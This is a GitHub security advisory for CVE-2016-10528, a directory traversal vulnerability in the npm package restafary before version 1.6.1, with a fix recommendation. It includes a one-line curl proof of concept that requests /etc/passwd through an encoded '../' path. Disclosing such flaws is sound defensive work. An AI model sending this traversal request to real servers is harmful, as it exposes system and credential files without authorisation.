GitHub Advisoryadvisory · npm
GHSA-xg5r-8j97-2wrj Directory Traversal in restafary
MEDIUM
Official page ↗
- Aliases
- CVE-2016-10528
- Ecosystem
- npm
- Packages
- restafary
- Severity
- Moderate
- Weaknesses
- CWE-22
- Reviewed
- 2020-06-16
Affected packages
• npm restafary: < 1.6.1 → fixed in 1.6.1
Description
Affected versions of `restafary` are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.
Proof of Concept
```
curl -i -s -k -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'
```
Recommendation
Update to version 1.6.1 or later.
Related
Alias · CVE (1)
- CVE-2016-10528 restafary is a REpresentful State Transfer API for Creating, Reading, Using, Deleting files on a server from the web. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness